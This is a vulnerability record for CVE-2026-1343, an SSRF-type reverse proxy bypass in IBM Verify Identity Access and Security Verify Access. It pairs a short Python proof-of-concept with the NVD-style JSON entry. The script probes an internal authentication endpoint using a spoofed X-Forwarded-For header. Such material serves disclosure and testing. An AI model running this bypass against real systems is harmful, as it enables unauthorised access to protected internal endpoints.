CVE-2026-1343

import requests # PoC for CVE-2026-1343: Internal Endpoint Access via Reverse Proxy Bypass # This script attempts to access a protected internal endpoint directly. target_url = "http://target-host/internal/auth/status" headers = { "User-Agent": "CVE-2026-1343-Scanner", "X-Forwarded-For": "127.0.0.1" # Attempting to spoof internal origin } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-1343", "sourceIdentifier": "[email protected]", "published": "2026-04-08T01:16:40.503", "lastModified": "2026-04-09T18:27:45.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 allows an attacker to contact internal authentication endpoints which are protected by the Reverse Proxy."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "C71B5C3B-4B1F-4330-9260-26B349CAE490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}